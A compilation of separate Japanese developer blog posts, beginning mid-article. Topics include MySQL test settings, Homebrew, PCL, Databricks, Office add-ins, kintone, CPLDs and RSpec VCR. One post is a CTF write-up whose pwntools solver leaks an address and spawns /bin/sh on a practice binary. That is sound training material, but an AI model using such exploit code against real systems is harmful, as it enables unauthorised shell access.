  url: jdbc:mysql:${接続情報}?sessionVariables=FOREIGN_KEY_CHECKS=0
  # 複数パラメータの間に挟んだ場合
  url: jdbc:mysql:${接続情報}?useUnicode=true&sessionVariables=FOREIGN_KEY_CHECKS=0&characterEncoding=UTF-8
```

## 使い所
**テスト以外でこれを設定するのは絶対にやめて下さい。**

`DbUnit`などを用いて実際に`DB`にテストデータを登録してテストを実行するような状況では、外部キー制約が有効になっていると、その分のテストデータを全て作る必要が出てしまい手間が増えます。
そのような場面では、何らかの方法で外部キー制約を無効にすると省力化が期待できます。

一方、開発中や本番環境で外部キー制約を無効にするのは危険なため、そのような場面ではこの方法を用いるべきではありません。
また、複数の登録関数を結合して動かすようなテストを作成する場合には外部キーの整合性もチェックする必要が有るため、この方法は不適です。
明日もう一度ここに来てください。本物のプルリクというものをお見せしますよ

## プルリク

https://github.com/Homebrew/brew/pull/12260

## 宣伝

Homebrew博士（自称）の私が「日本語で」質問に答えるためのDiscordサーバーを作りました！
Formulaの書き方がわからないとか、新しいCaskを追加したいといった質問に答えられます、是非いらしてください！

https://discord.com/invite/wPNEx6nYVk

## Diff

![スクリーンショット 2021-10-20 12.20.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/35580/4f316392-c6d0-9dd5-55ab-08c13ea1e25d.png)

## 経緯

https://github.com/Homebrew/brew/issues/11904

1. Homebrewのメンテナになりたい！
2. Mike McQuaidにTwitterで突撃
3. 「"help wanted"に貢献してね❤️」
4. 最新の"help wanted"課題にこれを実装しますとコメント
5. 20日経過

## 作業

https://github.com/Homebrew/brew/pull/12260#issuecomment-946811912

1. 頑張って状況再現する
2. `--debug`フラグ付けてスタックトレースを取る
3. 順番にスタックトレースを辿っていった結果、キャッチされるべき例外がキャッチされずにプログラムが異常終了していることに気づく
4. `Errno::ENOTEMPTY`をキャッチするように変更（18文字）

## まとめ

やろうと思えば問題解決のために100行近く新規のコードを追加することもできたかもしれません。
最初は、独自の例外ハンドリング機構を実装する必要があるかなと思っていました。
でも、それはスマートではありません。
「既存の資産をいかに上手に活用し、綺麗に問題を解決するか」がOSSへのプルリクの本質なのです。
たった18文字でも何物にも変えがたい素晴らしい貢献です。
VSCodeのソース管理で "10k" と表示される問題

# エラー

「Gitリポジトリにアクティブな変更が多いため、Gitの一部のみが有効になります」と警告
VSCodeのソース管理では 10k と表示されていた


# 原因

ホームディレクトリに直接.gitフォルダを作っていた

# 解決

ホームディレクトリに移動し、command + shift + . で隠しフォルダを表示
.gitフォルダを見つけ出し、削除
npm start で " Error: Cannot find module ..." が表示される問題

# 参考

https://blog1.mammb.com/entry/2020/06/18/090000

# エラー

```
create-react-app XXX
```
を実行すると、実行中に下記のようなエラーが起きる

```
gyp: No Xcode or CLT version detected!
gyp ERR! configure error
gyp ERR! stack Error: `gyp` failed with exit code: 1
```

ファイルが生成された後、

```
npm start 
```
とすると

```
Error: Cannot find module ...
```

というエラーが起きる

# 原因

> macOS Catalina でバージョンをアップデートすると発生する模様。

# 解決

Command Line Toolsを再インストールすることで解決

1: インストール先の確認

```
xcode-select -print-path

// 結果
/Library/Developer/CommandLineTools
```

2: 削除

```
sudo rm -rf /Library/Developer/CommandLineTools
```

3: インストール

```
xcode-select --install
```
 

再度create-react-appをすることで、エラーなく進むことができた
PCLによる平面の検出

点群から平面を検出する．

#基本
処理の流れとしては
1. 検出器を宣言し各パラメータを設定
2. 入力点群を検出器にセット
3. 平面検出を実行
となる．

```cpp
#include <pcl/segmentation/sac_segmentation.h>

//入力点群
pcl::PointCloud<pcl::PointXYZ> input_pointcloud;
//点群をセットする処理．push_backとかでやってください

//平面方程式と平面と検出された点のインデックス
pcl::ModelCoefficients::Ptr coefficients(new pcl::ModelCoefficients);
pcl::PointIndices::Ptr inliers(new pcl::PointIndices);

//RANSACによる検出．
pcl::SACSegmentation<pcl::PointXYZ> seg;
seg.setOptimizeCoefficients(true); //外れ値の存在を前提とし最適化を行う
seg.setModelType(pcl::SACMODEL_PLANE); //モードを平面検出に設定
seg.setMethodType(pcl::SAC_RANSAC); //検出方法をRANSACに設定
seg.setDistanceThreshold(0.005); //しきい値を設定
seg.setInputCloud(raw_pointcloud.makeShared()); //入力点群をセット
seg.segment(*inliers, *coefficients); //検出を行う
```
ここまで実行するとinliersとcoefficientsに検出結果が入る．

#応用
平面の点群を取得したいときは

```cpp
#include <pcl/filters/extract_indices.h>

pcl::PointCloud<pcl::PointXYZ> plane_pointcloud;
pcl::ExtractIndices<pcl::PointXYZ> extract;
extract.setInputCloud(raw_pointcloud.makeShared());
extract.setIndices(inliers);
extract.setNegative(false);
extract.filter(plane_pointcloud);
```

逆に平面の点群を除去したいときはsetNegativeにtrueを入れる．

```cpp
extract.setNegative(true);
```
Databricksにおける機械学習リファレンスソリューション

[Reference solutions \| Databricks on AWS](https://docs.databricks.com/applications/machine-learning/reference-solutions/index.html) [2021/6/11時点]の翻訳です。

Databricksでは、皆様の機械学習アプリケーション開発を支援する豊富なツールを提供しています。しかし、これらのツールを探し出し、皆様の機械学習の問題にどのように適用するのがベストなのかを理解することは困難である場合があります。このページで提供するリファレンスソリューションは、いくつかの一般的な機械学習アプリケーションにおいて、Databricksをどのように活用するのかについて、詳細なサンプルを提供します。

# 分散画像モデル推論

このドキュメントには、多くのリアルワールドの画像アプリケーションで共有されている一般的な設定に基づく、分散画像モデル推論のリファレンスソリューションが含まれています。

- [画像アプリケーションに対するDatabricksリファレンスソリューション](https://qiita.com/taka_yayoi/items/41be81691df3f7c8e6bf)

# レコメンデーションシステム

このドキュメントには、レコメンデーションシステムに対するワイドアンドディープモデルの構築方法に関するリファレンスソリューションが含まれています。

- [Build and serve a wide\-and\-deep model in a recommender system](https://docs.databricks.com/applications/machine-learning/reference-solutions/recommender-wide-n-deep.html)

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
WaniCTF 2020 pwn 03 binsh address Writeup


実行すると

```
$ ./pwn03
The address of "input  " is 0x555e3fd04010.
Please input "/bin/sh" address as a hex number: 
```

"input" のアドレスをリークするから， "/bin/sh" のアドレスを答えよ
という問題


ソースは

```c:pwn03.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";
char str_tail[] = "\" address as a hex number: ";

void init();

void vuln()
{
    char name[0x20];
    unsigned long int val;
    char *p;
    int ret;

    write(0, str_head, strlen(str_head));
    write(0, binsh, strlen(binsh));
    write(0, str_tail, strlen(str_tail));

    ret = read(0, name, 0x20);
    name[ret - 1] = 0;
    val = strtol(name, NULL, 16);
    printf("Your input address is 0x%lx.\n", val);
    p = (char *) val;
    if(p == binsh){
        puts("Congratulation!");
        system(p);
        exit(0);
    }else{
        puts("You are wrong.\n\n");
    }
}

int main()
{
    init();
    printf("The address of \"input  \" is 0x%lx.\n", (unsigned long int) str_head);    
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

```

注目すべき点は

```
char str_head[] = "Please input \"";
char binsh[] = "/bin/sh";

printf("The address of \"input  \" is 0x%lx.\n", (unsigned long int) str_head);    

```

リークされた str_head のアドレスのすぐ近くに binsh のアドレスがある。

objdump で見てみる

```
$ objdump -d -M intel ./pwn03 | grep str_head
 a11:	48 8d 3d f8 15 20 00 	lea    rdi,[rip+0x2015f8]        # 202010 <str_head>
 a20:	48 8d 35 e9 15 20 00 	lea    rsi,[rip+0x2015e9]        # 202010 <str_head>
 b31:	48 8d 05 d8 14 20 00 	lea    rax,[rip+0x2014d8]        # 202010 <str_head>
$ objdump -d -M intel ./pwn03 | grep binsh
 a31:	48 8d 3d e8 15 20 00 	lea    rdi,[rip+0x2015e8]        # 202020 <binsh>
 a40:	48 8d 35 d9 15 20 00 	lea    rsi,[rip+0x2015d9]        # 202020 <binsh>
 ad1:	48 8d 05 48 15 20 00 	lea    rax,[rip+0x201548]        # 202020 <binsh>
```

str_head　と　binsh　の相対アドレスの差は 0x10

なのでリークされたアドレスに + 0x10 する

```
$ ./pwn03
The address of "input  " is 0x55e86f004010.
Please input "/bin/sh" address as a hex number: 0x55e86f004020
Your input address is 0x55e86f004020.
Congratulation!
```

pwnツールを使ったソルバー

```python:pwn03.py
import pwn

#io = pwn.remote("binsh.wanictf.org", 9003)
io = pwn.process("./pwn03")

ret = io.readuntil("The address of \"input  \" is ")
print(ret)

leak = io.readuntil(".")
print("leak="+leak)

ans = hex(int(leak[2:14],16)+0x10)
print("ans="+ans)

#ret = io.readuntil("number: ")
#print(ret)

io.sendline(ans)
io.interactive()
```

実行結果

```
$ python pwn03.py 
[+] Starting local process './pwn03': pid 3393
The address of "input  " is 
leak=0x55bba0aea010.
ans=0x55bba0aea020
[*] Switching to interactive mode

Your input address is 0x55bba0aea020.
Congratulation!
$ ls
```
AngularでOfficeアドインを開発してみる

# AngularでOfficeアドインを開発してみる

今回は Mocrosoft Outlookアドインを初めて開発してみる。

## 導入

👇の公式Doc参考にしました。
[Visual Studio Code を使用して Office アドインを開発する](https://docs.microsoft.com/ja-jp/office/dev/add-ins/tutorials/outlook-tutorial)

## 環境

- VSCode
- Node.js
- Yeoman & Yeomonジェネレーター
  - インストール

  ```PowerShell
  npm install -g yo generator-office
  ```

## アドインプロジェクトを作成する

Yeomanジェネレーターを使って作成してみる

```PowerShell
yo office
```

👆のコマンドをたたくと、いろいろと設定を聞かれるので答える。  
私はAngularをよく触っているので、Angularを選択

```PowerShell
? Choose a project type
> Office Add-in Task Pane project using Angular framework

? Choose a script type
> TypeScript

? What would you want to name your add-in?(アドインの名前)
> My Office Add-in

? Which Office client application would you like to support?
> Outlook
```

cd コマンドでカレントディレクトリを作成したプロジェクトに移動しましょう

```PowerShell
cd "My Office Add-in"
```

## デバッグ実行してみる

```PowerShell
npm start
```

証明書関係でいろいろ聞かれるが、とりあえず「はい」を選択。  
Outlookアプリが立ち上がってくれた。  
テスト用にアドインをサイドロードまで自動で行ってくれました。  
手動で行いたい場合は👇の公式Docを参考にしながらやってみてください  
https://docs.microsoft.com/ja-jp/office/dev/add-ins/outlook/sideload-outlook-add-ins-for-testing#sideload-manually  
リボンのところに（特に変更してなければ）Contso Add-inの領域が表示されてると思います。  
Show Taskpane からアドインを確認できます。  

## 実際にコード書いてみる

今回は簡単なカウンタアプリを作成する
Angularプロジェクトで作成したので、👇のファイルに記述していきます。  

- app.component.html(src\taskpane\app\app.component.html)
- app.component.ts(src\taskpane\app\app.component.ts)

### app.component.html

主にmainの中をかえていく。

- ボタンを定義
- countした結果を表示するよう定義

```html:app.component.html
<header class="ms-welcome__header ms-bgColor-neutralLighter ms-u-fadeIn500">
    <img width="90" height="90" src="../../../assets/logo-filled.png" alt="Contoso Task Pane Add-in" title="Contoso Task Pane Add-in" />
</header>
<main class="ms-welcome__main">
    <h2 class="ms-font-xl ms-fontWeight-semilight ms-fontColor-neutralPrimary ms-u-slideUpIn20"> counter </h2>
    
    <br />
    <br />
    <button (click)="run()">count</button>
    <br />
    <p>count: {{sum}}</p>
</main>

```

### app.component.ts

- カウントさせる変数を定義
- サンプルからあるrun関数をそのまま使う
  - 関数内でさっき定義した変数を+1させる

```typescript:app.component.ts
export default class AppComponent {
  sum = 0;

  async run() {
    this.sum++;
  }
}
```

### 実行

```Powershell
npm start
```

👇実際に動かしてみた。（名前出てますが特に気にしないでください）
![outlook-addin-counter.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/467168/eee96027-47e5-aa97-895a-5af58348b55d.gif)

ソースはコチラ👇にあります。  

https://github.com/yuuton414/outlook-addin-counter-app

npm startすれば自動でサイドロードされすぐ動作を試せるかと思います。  

## 作ってみて感想・気になったこと

- ジェネレーターで爆速でコーディングできたので強いと思った。
- Angularに慣れてる分、APIリクエストを送るとかも簡単に実装できそう
- Pipeline用のyamlっぽいのも自動生成してくれてたので参考になりそう。
- まだコードの中身までは深くまで抑えれてないが、理解できそうな気がする。
- もしデリバリするならばどんな感じでデリバリーさせるかなどはまだ踏み出せていないのそこらへんはままだ調査が必要になりそう。
- Outlook以外のアドインもちょっと試してみたい。
kintoneプラグインを作るときは【JavaScript / CSSでカスタマイズ】に注意👀

kintoneプラグインを作ってみましたが、kintone UI Component を使って設置したはずのボタンが表示されません！！！でした。

| あるべき姿 | 
|:-:|
| ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/536148/2398a6d2-847c-ea83-f2af-2611880a4c97.png)  |
|**あれぇ！？ボタンが設置されない！！** |
| ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/536148/ef3e15c2-293b-31cd-8154-2b39dade21a4.png) |


# 原因と対策

JavaScript / CSSでカスタマイズにCDNだったりアップロードしたものだったりがあると喧嘩して動かないようです（´-`）
設定画面のコードではなく、プラグイン本体（PC側もmobile側も）のコードについてこの現象が起こります。

というわけで以下のようなコトを試して、設定がダブらないように気をつけよう👀

* アプリそれぞれの JavaScript / CSSでカスタマイズ から kintone UI Component を削除する
* kintoneシステム管理の JavaScript / CSSでカスタマイズ から kintone UI Component を削除する
* プラグインのdesktop, mobile に kintone UI Component を埋め込まないようにする

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/536148/44c527f8-5619-c743-797e-98c9bd47dca2.png)

～参考～

```js:desktop.js
// kintone UI Component をnpmパッケージから呼び出すときは↓を使う
// import { Button } from "kintone-ui-component/lib/button";
(function (PLUGIN_ID) {
  "use strict";

  kintone.events.on("app.record.index.show", function () {
    const sp = kintone.app.getHeaderSpaceElement();
    // kintone UI Component を【JavaScript / CSS でカスタマイズ】やCDNから呼び出すときはこっち
    const button = new Kuc.Button({
    // kintone UI Component をnpmパッケージから呼び出す時はこっち
    // const button = new Button({
      text: "登録",
      type: "submit",
    });
    sp.appendChild(button);
  });
})(kintone.$PLUGIN_ID);
```

# 設定画面の方には埋め込んでOK

設定画面の方は【JavaScript / CSSでカスタマイズ】の影響を受けないようなので、
設定画面で kintone UI Component を使う時は遠慮なくプラグインに埋め込みましょう。
むしろ埋め込まないと動きません！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/536148/eb780f95-7881-0371-4330-105497c424fb.png)
Databricksにおける機械学習モデルのエクスポート、インポート

[Export and import models \| Databricks on AWS](https://docs.databricks.com/applications/machine-learning/model-export/index.html) [2021/6/23時点]の翻訳です。

モデルを保存するために、MLflowの関数である[log\_modelとsave\_model](https://www.mlflow.org/docs/latest/models.html#model-api)を使用します。また、ネイティブAPIを使用して[Databricksファイルシステム(DBFS)](https://qiita.com/taka_yayoi/items/e16c7272a7feb5ec9a92)にモデルを保存することができます。MLlibのモデルに関しては、[ML Pipelines](https://spark.apache.org/docs/latest/ml-pipeline.html#ml-persistence-saving-and-loading-pipelines)を使用してください。

それぞれの予測処理をサービングするためにモデルをエクスポートするには、一般的なシリアライゼーションフォーマット、機械学習パイプラインの実行エンジンである[MLeap](https://docs.databricks.com/applications/machine-learning/model-export/mleap-model-export.html)を活用することもできます。MLeapはApache Spark、scikit-learn、TensorFlowパイプラインのバンドルへのシリアライズをサポートしているので、新規データに対して予測を行うためにトレーニング済みモデルをロードし、デプロイすることができます。エクスポートしたモデルをSpark、あるいはスコアリング、予測のための他のプラットフォームでインポートすることができます。

[Databricks Runtime 5\.5 LTS](https://docs.databricks.com/release-notes/runtime/5.5.html)では[Databricks ML Model Export](https://docs.databricks.com/applications/machine-learning/model-export/model-export-import.html)を活用することができます。

- [MLeap ML model export](https://docs.databricks.com/applications/machine-learning/model-export/mleap-model-export.html)

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
Databricksにおける機械学習モデルのデプロイ、サービング

[Deploy and serve models \| Databricks on AWS](https://docs.databricks.com/applications/machine-learning/model-deploy/index.html) [2021/5/26時点]の翻訳です。

# MLflowによるモデルの本格運用へのデプロイ

MLflowによるモデルのデプロイに関しては、[DatabricksのMLflowを用いたモデルのログ、ロード、登録、デプロイ](https://qiita.com/taka_yayoi/items/e265d48a3e3473edd1b6)を参照ください。以下のノートブックでは、モデルを構築、管理、デプロイするためにどのようにモデルレジストリを使うのかを説明しています。

- [MLflow Model Registry example](https://docs.databricks.com/applications/mlflow/model-registry-example.html)

# MLflowによるモデルサービング

Databricksでは、モデルのバージョンとステージに応じて自動的に更新されるRESTエンドポイントとして、モデルレジストリから機械学習モデルをホストする[MLflowモデルサービング](https://qiita.com/taka_yayoi/items/b5a5f83beb4c532cf921)を提供しています。MLflowモデルサービングは、PythonのMLflowモデルで利用できます。

# Databricksジョブの実行

スケジュール処理、即時処理としてノートブックやJARを実行するために[Databricksのジョブ](https://qiita.com/taka_yayoi/items/b3275a1983c51a8bbe1a)を利用することもできます。

### Databricks 無料トライアル

[Databricks 無料トライアル](https://databricks.com/jp/try-databricks)
EPM7032開発準備編

日立のCSチューナをばらしてヒートガンで剥がしたEPM7032をいじってみるために環境を用意します。

EPM7032はIntelに買収されたAlteraが90年代後半から作っていたCLDPでその中でも最も小規模なものになります。MAXとも呼ばれていたようです。Alteraは同じ時期に規模の大きいFPGAはFLEXというシリーズで出していました。


Alteraの開発環境はQuartusとよばれていて、現在はIntelのサイトからダウンロードできます。

最新のFree版のLiteをダウンロードしてWindows 7にインストールしたところ、3時間くらいかかって最後に固まってしまいました。とりあえずインストーラを強制終了させて、アプリを起動したところMAXのサポートがないことに気がつきました。

サイトからMAXのサポートのある13.1をダウンロードしてインストールしてみたところ、5V系のMAX7000はサポートされていませんでした。

三度目の正直で13.0sp1をインストールしたところEPM7032が出てきました。

~~今手元に[USB-Blasterもどき](https://qiita.com/yamori813/items/ce2b6e79e079ec834e7e#%E3%81%8A%E3%81%BE%E3%81%913-usb-gpio)がないので、続きはこれを持って来てからになります。~~

とりえあず手元にあるFT2232でどうにかできないか調べている。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/82aa1309-61b5-0818-fb4e-631787cd2c5a.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/d0a8e2d6-02f5-39fd-36c3-1be841355e27.png)


|Func|Pin|FT|
|:--|:--|:--|
|TCK|32|AD0|
|TDO|38|AD2|
|TMS|13|AD3|
|TDI|7|AD1|
|VCC|15,23,35||
|GND|10,22,30||

このチップはJTAGで焼けるのだが、JTAGのPinをIOにアサインしてしまうとJTAGが使えなくなり、OE1に高電圧(12V)をかける必要があるという情報もあった。

どうも最初のMAX7000の書き込みはJTAGではなくて専用の機器で書き込みしていたようで、どうもダメそうだ。

いろいろ調べてみるとMAX7000の初期の開発環境はQuartusではなくてMAX + PLUS IIというものだったようだ。この中にプログラマがあったようだ。

MAX + PLUS IIがサポートしているプログラマはパラレルのByteBlasterとシリアルのBitBlasterなどがあった。

これらのプログラマはJTAGのほかにパッシブシリアル(PS)方式にも対応していて、JTAGがサポートされる以前はPSだったようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/0c23ac17-a251-28af-6cdc-a6cdc8050e57.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/94400a57-f18b-baad-e1fd-527071bd8499.png)

HDLさんがFTDIでのパッシブシリアル書き込みソフトを公開されていました。

https://www.hdl.co.jp/EDA/BitCfg3/

Quartusの13.0sp1は初期のEPM7032はサポートしていないし、MAX + PLUS IIはダウンロードできなくなっているので、やっぱダメみたい。

MAX + PLUS IIのバイナリがあったとしてもライセンスが切れていて、発行もできないので、もはや使うことはできないと思います。

後から気がついたのですが、電脳伝説さんも5年位前に調べていました。

https://vintagechips.wordpress.com/2016/10/22/xilinx%e3%81%ab%e4%b9%97%e3%82%8a%e6%8f%9b%e3%81%88%e3%82%8b/

いろいろ調べてでてきた情報源は以下がありました。

https://hackaday.com/2015/10/28/programmable-logic-build-yourself-a-cpld-module/

フロリダ大学でもUF-3701という似たようなボードを作っていたようです。2010年にEPM7064のボードを作っていて、その後は別のMAXを使っていたようです。

中日電工さんにもページがあるようです。
librealsenseでのカメラ情報取得

（注）自分用の備忘録なので体裁とかは適当です

カメラの視野角とかを取得したいとき

・まずはpipelineを宣言してスタート

```cpp
rs2::pipeline pipe;
rs2::config cfg;
cfg.enable_stream(RS2_STREAM_DEPTH, 640, 480, RS2_FORMAT_Z16, 30);
cfg.enable_stream(RS2_STREAM_COLOR, 640, 480, RS2_FORMAT_BGR8, 30);
rs2::pipeline_profile profile = pipe.start(cfg);
```
・赤外線カメラの情報を取得したいときは

```cpp
rs2_intrinsics ntrinsics = profile.get_stream(RS2_STREAM_DEPTH).as<rs2::video_stream_profile>().get_intrinsics();
```

rs2_intrinsics型は構造体であり，メンバ変数に画像サイズや焦点距離などを保持している（詳細は[ここ](https://intelrealsense.github.io/librealsense/doxygen/structrs2__intrinsics.html)）．
例えば縦幅と焦点距離から垂直視野角を計算したいときは以下のようになる．

```cpp
float height = intrinsics.height;
float fy = intrinsics.fy;
float fovy = atan(height / (2. * fy))
```

ここでfovyはラジアンとなることに注意．
FreeBSDでPILLOWを使う

# エラーが出た
UbuntuからFreeBSDにPython環境を移行しようとして詰まりました。

```
ImportError: The _imagingft C module is not installed
```
というエラーが出てしまい、しばらく解決しなかったのでメモ。

## 試したけどダメだったこと
以下のコマンドを試してPillowの再インストールをしてみたものの、できませんでした。

```
sudo pkg install freetype
```


## 最終的に解決したコマンド

```
sudo pkg install py38-pillow
sudo pip uninstall Pillow
sudo pip install Pillow --no-cache-dir
```

参考
https://buildmedia.readthedocs.org/media/pdf/pillow/latest/pillow.pdf
Dotenv.phpのエラー

非常にレアケースですが、Dotenv.php でエラーが出る場合があります。

```
PHP Fatal error:
Uncaught Symfony\Component\Dotenv\Exception\FormatException: 
Invalid character in variable name in "/var/www/html/bin/../.env" at line 18.
```
#原因
.env の書式に問題がある可能性が高いです。

```
変数=値
#コメントアウト
```
.envの中で許される書式はこの2つだけです。

#.envでよくやってしまうミス

```
// コメントアウト
; コメントアウト
```
上記のように、コメントアウトの記号を間違ってしまう。
Javascript と同じように `//` でコメントアウトしちゃったり
VSCode の `CMD+/` ショートカットキーを押すと `;` が入る事がある。

```
変数：値
```
`json` や `yaml` から環境変数のコピペをした時に `：` をそのままにしている場合がある。
コレはきちんと `＝` に打ち替えておく。

以上です。
MacでZip

# この記事は何？

Macの標準で付属しているzipで圧縮すると、Windowsで開いたときに文字化けなどが発生します。
問題は、改行コードと文字コードの問題と思われるので、zipにunicodeとto-crlfオプションをつけて圧縮すれば良いのですが、
標準のzipは--unicodeオプションに対応しているはずですが、標準のzipではunicodeオプションが何故か使えないので、brewからインストールします。
（to-crlfは使えます）

```sh
$ zip error: Invalid command arguments (long option 'unicode' not supported)
```

こんな感じのエラーが出ます。

ということで、brewを使用してインストールし、パスの設定を行います。
zshを使用しています。

```sh
$ brew install zip
$ echo 'export PATH="/usr/local/opt/zip/bin:$PATH"' >> ~/.zshrc
$ source !!$
$ which zip
$ /usr/local/opt/zip/bin/zip
```

という感じで大丈夫です。

フォルダを圧縮する場合は、以下のとおりです。

```sh
$ zip --unicode=UTF8 --to-crlf --recurse-paths test.zip test_folder
```

以上です。
windows 環境で Git を使い始めたので、調べたことをメモしてみた

まずはインストールと初設定

https://prog-8.com/docs/git-env-win

アクセストークンの作り方もメモ

https://howpon.com/5308

自分の場合はサクッと push 出来たが、
念のため対策もメモ

https://qiita.com/shungo_m/items/4bbcbcbd3d7aea40b21e

push できたけど次何をすれば??。。。(笑)
って事で、そもそも Git とは的な情報を探してみた。

https://tracpath.com/bootcamp/learning_git_firststep.html

メモなんで分かったことは適時アップ予定です。
【Eloquent】条件に当てはまるもの・またはNULLであるものの抽出


便利なメソッドが見つからなかったので、単にorWhere条件で抽出する。

```php
// 例：掲載終了日時が到来していない・もしくは掲載終了日時がNULLの記事を取得する場合
$articles = Article::whereDate('display_end_date', '>', now())->orWhereNull('display_end_date')->get();
```

他にも条件がある場合はA & (B or C)になるようにクロージャを使用する。


```php
// 例：ID > 1000のうち、掲載終了日時が過ぎている・もしくは掲載終了日時がNULLの記事を取得する場合
$articles = Article::where('article_id', '>', 1000)
                   ->where(function ($query) {
                        $query->whereDate('display_end_date', '>', now())
                              ->orWhereNull('display_end_date');
                    })->get();
```

...と書いている途中に、そもそも設計の時点でDBの値がNULLになることが少なくなるようにしたほうがいいのでは？と思った。

NULLが設定されたカラムは「NULLがどういった意味なのか」という設計者の意図が読み取りにくい気がする。

（上記例では「掲載終了日時にNULLが設定されているものはいつまでも残す」の意だが本当にそう読み取れるか怪しい）

掲載終了日時であれば「いつまでも残すものには9999-12-31を設定する」とかにしておけば、「ああ、時間経過で消えない通知なのね」ということがわかるし、NULLを考慮しなくてよくなるのでorWhereNullの条件自体要らなくなる！！...はず。
[メモ]bash 使って便利だったエイリアス集



[エイリアス]
alias do='docker-compose'
alias re='docker-compose restart'
alias c='git checkout'
alias spec='docker-compose exec app bundle exec rspec'
alias rubo='docker-compose exec app bundle exec rubocop'
alias gate='ssh gate -D 指定の番号'

●追加した方が便利かも
docker exec -it app bash
GitとGitHubを基本からまとめてみた【GitHub Pages (React)】


## Create React App でアプリの雛形を作成

```
$ npx create-react-app <アプリ名>
$ cd <アプリ名>
```
##### ※　必要のないファイルは削除する。


## Githubでリポジトリを新規作成

(1) GitHubにアクセスし、ログインする。ページ右上の『+』アイコンをクリックし、『New repository』をクリックする。
(2) 『Repository name』を記入し、『Create repository』をクリックする。
(3) 作成したアプリをデプロイする

```
$ git init
$ git remote add origin 例：https://github.com/username/username.github.io
$ git add .
$ git commit -m "コミットメッセージ"
$ git push origin master
```
(4)Github pagesをインストールする。

```
$ npm install gh-pages --save-dev
```
(5)Reactアプリのpackage.jsonを修正する。

```　package.json
//...
"homepage": "https://[GitHub username].github.io/[created repository name]/",
//...
"scripts": {
    "deploy": "npm run build && gh-pages -d build"
  },
//...
```
(6)Githubにリポジトリを作成してデプロイする

```
$ git@github.com:[GitHub username]/[Repository name].git
$ git push -u origin master
$ npm run deploy
```
※　GitHubにアップロードを出来たか確認する。

## GitHubPageを設定
(1) Github 『Settings』 　をクリックし、Github Pagesの『master』を選択し、『save』を押す。
(2) その後下へスクロールしGitHub Pages のSourceをgh-pages branchへ変更する.
(3) GitHubPages設定後表示もう一度GitHubPagesの設定場所へ移動し表示されているURLをクリックし、画面を確認する。





## 参考サイト
[React 最初からデプロイまで① GitHub Pages編]
()
[github-pageにReact appをデプロイしてみた]
(https://qiita.com/Ham4690/items/4535d744a78db9e403d7)
Rspec VCRの使い方(stubされているかどうかの確認、動的なパラメータがある場合のcassetteのマッチング、動的にcassetteの内容を変更する)

# 概要
VCRを使ったことがなく、かなりハマってしまったので、自分用にメモ
インストール方法などは他に山ほど記事があるので、そちらを参照してください。

# 前提
- request spec
- APIのテストではなく、request specでテストしたいアクション内でAPIを呼び出しており、そのAPIをstubしたい

# stubされているかどうかの確認
他の方が書いてくださったものを拝借

spec_helper.rbに以下を記載

```rb
VCR.configure do | c |
...

# ここから
  [ "recordable", "stubbed" ].each do | method |
    c.after_http_request("#{method}?".to_sym) do | request, _response |
      puts "- VCR - #{method} - [#{request.method}] #{request.parsed_uri}"
      unless request.externally_stubbed?
        puts "  used cassette - #{VCR.current_cassette.try(:file)}"
      else
        puts "  stubbed by WebMock"
      end
    end
  end
# ここまで追加

end
```

以下のような表示がされるので、以降のテストの確認に便利

```
- VCR - recordable(stubされている場合はstubbed) - [get] http://test.com/ # 自分のアプリのURL
  used cassette - /myapp/spec/fixtures/vcr/test.yml # なんのcassetteを利用しているか
```

参照: https://qiita.com/choripon/items/bb4c7aa9ce7f6cfa62a1
# 動的なパラメータがある場合のcassetteのマッチング
ネットで見た

```
match_requests_on: [:method, VCR.request_matchers.uri_without_params(:signature, :timestamp)]
```
はなぜか自分の環境だとうまいこといかなかった…
(自分の記述が悪い可能性大)


ので、代わりに以下を利用した。

```
match_requests_on: [:host, :path]
```

参照: https://relishapp.com/vcr/vcr/v/1-10-3/docs/cassettes/request-matching#match-on-host-and-path-(to-ignore-query-params)

# 動的にcassetteの内容を変更する

ymlにはerbを埋め込めるので、yml側にerbを埋め込み

```yml
    body:
      encoding: UTF-8
      string: |-
        [
          {
            "id": "1",
            "user_name": <%= "#{user_name}" %> # ここを埋め込む
          }
        ]
```

```rb
        #  erb: { [erb側で指定したキー]: [値] }という形でuse_cassetteメソッドに渡す
        VCR.use_cassette('test', match_requests_on: [:host, :path], erb: { user_name: user.name }) do
          get test_index_path
        end
```

 **ハマりポイント** 
ymlの値を

```yml
        [
          {
            "id": 1,
            "user_name": <%= user_name %>
          }
        ]
```

こんな感じで定義するとHerがパースできなかったので、値、キーともに`"`で括らないとダメだった。
(特に埋め込んでもちゃんとやらないとだめ)